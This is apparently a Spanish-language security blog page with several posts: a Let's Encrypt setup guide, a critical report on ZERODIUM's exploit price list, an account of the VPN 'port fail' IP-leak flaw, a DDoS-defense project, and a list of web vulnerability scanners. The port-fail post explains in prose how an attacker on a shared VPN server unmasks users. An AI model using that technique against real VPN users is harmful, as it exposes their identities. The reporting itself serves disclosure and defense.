Con el imperio hemos topado...

¡Vamos a cifrar todo! ... o HTTPS venga a nosotros tu reino

Esta semana por fin se ha publicado la primera beta de Let's Encrypt, la CA gratuita que automatiza la configuración e instalación de certificados para habilitar fácilmente SSL. La idea es sencilla: descargamos un cliente de código abierto para nuestro servidor web y con un único comando solicitamos e instalamos el certificado y lo configuramos para su uso, todo automáticamente, like a boss!

Por ejemplo, vamos a probar a habilitar SSL en Apache. Primero clonamos con git el proyecto:
 
git clone https://github.com/letsencrypt/letsencrypt

y paramos el servidor (no es necesario si especificamos webroot letsencrypt-auto certonly -a webroot --webroot-path /var/www -d domain.tld):

sudo systemctl stop apache2

Luego usaremos letsencrypt-auto, un wrapper que instala algunas dependencias desde los repositorios oficiales del sistema operativo (por ejemplo usando apt-get o yum) y, para otras dependencias, instala un entorno virtualizado en Python con paquetes descargados desde PyPI. También proporciona actualizaciones automatizadas.

Especificamos el parámetro --apache para que utilice el plugin correspondiente:

cd ./letsencrypt
./letsencrypt-auto --apache

A continuación seguimos el GUI para activar el dominio que queremos:

¿Quieres vender tus explois al lado oscuro? ZERODIUM publica una lista de precios

ZERODIUM es una startup que paga a los investigadores de seguridad por los exploits de tipo 0-day que afecten a los sistemas operativos, software y/o dispositivos más populares. 
Eso sí, mientras que la mayoría de los programas de recompensas existentes (bug bounty programs) aceptan casi cualquier tipo de PoC pagando recompensas menores, en ZERODIUM se centran en las vulnerabilidades de alto riesgo y exploits completamente funcionales, y (dicen) pagan las más altas recompensas del mercado. 

Pagan por "exploits de día cero originales, exclusivos y anteriormente no declarados". De hecho, afirman que su primera regla es no discutir los precios públicamente y recientemente han publicado una interesante lista de precios:


ZERODIUM advierte expresamente a los hackers que cualquier exploit que vendan a ZERODIUM debe ser sólo para los ojos de ZERODIUM, por lo que no pueden revenderlos a otros compradores o divulgarlo al proveedor de software afectado para que saque un parche y haga el ataque inútil. ¿Por qué? Pues porque ZERODIUM quiere mantener en secreto todas las técnicas para sus clientes que son "organizaciones gubernamentales que necesitan capacidades específicas y adaptadas de ciberseguridad", así como clientes corporativos que dicen utilizar las técnicas para propósitos defensivos (no se lo creen ni ellos).

En definitiva, una plataforma tachada y con razón de "oportunista y éticamente cuestionada" de cuyo fundador Chaouki Bekrar se dice ser "el mercader moderno de muerte" acusado de vender "las balas para la ciberguerra". 


No voy a ser yo quien juzge, por supuesto que cada uno que haga lo que quiera, pero siempre es interesante ver por cuánto se pagan los exploits, hasta ahora siempre en un mercado negro oculto pero siempre existente...

Fuentes:
- Zerodium Exploit Acquisition Platform
- Here’s a Spy Firm’s Price List for Secret Hacker Techniques

VPN "port fail" permite mostrar las IPs reales de los usuarios

Perfect Privacy ha descubierto un fallo de seguridad bautizado como "port fail" que afecta a las VPNs IPSec o PPTP (normalmente con OpenVPN) que permiten port forwading, es decir, redirigir un puerto hacia una máquina detrás del proxy VPN, algo ampliamente utilizado con clientes torrent y en general con descargas P2P.

El caso es que si estamos utilizando la misma VPN que la víctima, nos conectamos al mismo peer (es decir, tenemos la misma IP pública) y redireccionamos un puerto hacia nosotros, cuando la víctima intente conectarse a ese puerto (por ejemplo para descargar un torrent) revelará su IP real, lógicamente porque no puede establecer un socket con la misma IP origen que de destino.



"Si el atacante ha activado el reenvío de puertos con su cuenta en el mismo servidor, puede averiguar las direcciones IP reales de cualquier usuario en el mismo servidor VPN engañándolo para que visite un enlace que redirige el tráfico a un puerto bajo su control" dicen los investigadores.
También podéis ver en Reddit dos comentarios donde se explica bastante bien.

Perfect Privacy probó este fallo en nueve grandes proveedores VPN que ofrecen la posibilidad de port forwarding y cinco de ellos, entre los que se incluyen Ovpn.to, nVPN y Private Internet Access (PIA), eran vulnerables. Todos ellos han sido avisados y (supuestamente) lo han corregido pero seguramente muchos otros seguirán siendo vulnerables (AirVPN, IPVANISH?). 


La recomendación: si estás usando una VPN para mantener el anonimato en Internet lo mejor es que contactes con tu proveedor y preguntes por "port fail"...

Fuentes:
- IP leak affecting VPN providers with port forwarding
- VPN users menaced by port forwarding blunder 
- VPN users be aware , Port Fail flaw can reveal your identity
- IP leak affecting VPN providers with port forwarding

- Huge Security Flaw Can Expose VPN Users’ Real IP-Adresses

Bohatei: defensa flexible y dinámica contra ataques DDoS

Las defensas actuales contra ataques DDoS se basan en dispositivos de hardware caros y patentados desplegados en ubicaciones fijas. Esto introduce limitaciones clave con respecto a la flexibilidad (por ejemplo, enrutamiento complejo para conseguir llevar el tráfico a estos "cuellos de botella") y la elasticidad en el manejo de los cambios en los patrones de ataque.

Para abordar estas limitaciones utilizando nuevos paradigmas tales como redes definidas por software (SDN) y funciones de virtualización de red (NFV) han diseñado e implementado Bohatei, abordando los desafíos clave con respecto a la escalabilidad, capacidad de respuesta y la resistencia ante adversarios.

Las primeras evaluaciones muestran que Bohatei es escalable (maneja ataques de 500 Gbps), sensible (en un minuto es capaz de mitigar ataques) y resistente a los atacantes dinámicos.

 
Y lo mejor... en Github ya tenemos un repositorio con la primera versión de todos sus componentes: https://github.com/ddos-defense/bohatei


Recopilación de escáneres de vulnerabilidades web (+60 herramientas!)

Hoy en día es prácticamente indispensable realizar auditorías web periódicamente si queremos mantener la seguridad de un sitio que tenemos publicado en Internet. En SecTool Market tenemos un completísimo listado de herramientas todas ellas evaluadas mediante las plataformas RvR (Relative Vulnerability Rating), WAVSEP (Web Application Vulnerability Scanner Evaluation Projecty) y WAFEP (Web Application Firewall Evaluation Project).

A continuación mostramos el listado (en estricto órden alfabético) de todas las herramientas testeadas, aunque os recomiendo que os deis una vuelta por el sitio donde podréis ver varias tablas ordenadas según sus precios, características y tasas de detección.  Sinceramente, todas las que conocía y muchas más están en este indispensable recopilatorio:



#
LogoVulnerability ScannerVersionVendorLicense /
Technology

1
Acunetix WVS9.0 (GA)
Build 20140113
AcunetixCommercial
Unknown (Win32)

2
Acunetix WVS Free Edition8.0 (GA)
Build 20120509
AcunetixFreeware
Unknown (Win32)

3
aidSQL02062011 (Beta)
Build 255
LynxecGPL2
PHP

4
Ammonite1.2 (GA) RyscCorp.Commercial
.Net 2.0

5
Andiparos1.0.6 (GA) Compass Security AGGPL2
Java 1.5.x

6
arachni1.1 (GA) Tasos LaskosASF2/Commercial
Ruby 2.0.x

7
Burp Suite Professional1.5.20 (GA) PortSwiggerCommercial
Java 1.6.x

8
crawlfish0.92 (Beta)
Build 2
ericfishGPL2
.Net 1.1

9
Damn Small SQLi Scanner (DSSS)0.1h (Beta)
Build 0.1h+
Miroslav StamparGPL2
Python 2.6.x

10
Gamja1.6 (Beta) Sanghun JeonGPL
Perl 5.x